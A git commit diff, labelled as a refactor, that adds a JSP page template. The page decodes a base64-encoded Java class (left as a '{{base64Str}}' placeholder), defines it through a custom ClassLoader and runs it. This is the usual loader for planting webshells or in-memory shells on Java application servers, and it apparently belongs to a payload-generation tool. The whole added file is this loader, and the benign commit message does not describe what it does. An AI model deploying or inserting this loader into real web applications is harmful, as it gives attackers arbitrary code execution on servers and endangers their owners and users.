refactor: loadResource

2026-09-25 08:21:52 +08:00 · 2025-09-01 18:20:32 +08:00
parent 50459cff0d
commit 1cae99a0c8
19 changed files with 93 additions and 93 deletions
@@ -0,0 +1,29 @@
+<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
+    <jsp:directive.page contentType="text/html"/>
+    <jsp:directive.page pageEncoding="UTF-8"/>
+    <jsp:declaration><![CDATA[
+        public static class ClassDefiner extends ClassLoader {
+            public ClassDefiner(ClassLoader classLoader) {
+                super(classLoader);
+            }
+            public Class<?> defineClass(byte[] code) {
+                return defineClass(null, code, 0, code.length);
+            }
+        }
+        ]]></jsp:declaration>
+    <jsp:scriptlet><![CDATA[
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        String base64Str = "{{base64Str}}";
+        byte[] bytecode = null;
+        try {
+            Class base64Clz = classLoader.loadClass("java.util.Base64");
+            Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
+            bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (ClassNotFoundException ee) {
+            Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+            bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
+        }
+        Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
+        clazz.newInstance();
+        ]]></jsp:scriptlet>
+</jsp:root>